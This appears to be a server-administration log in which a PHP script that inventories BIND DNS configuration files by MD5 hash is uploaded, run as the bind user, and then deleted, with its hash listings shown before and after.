MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-10-29 16:46:15: Establishing a connection
2025-10-29 16:46:37: Establishing a connection
2025-10-29 16:46:37: 

PUT: /tmp/pkp282024

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-29 16:46:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp282024; rm /tmp/pkp282024'

2025-10-29 16:46:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
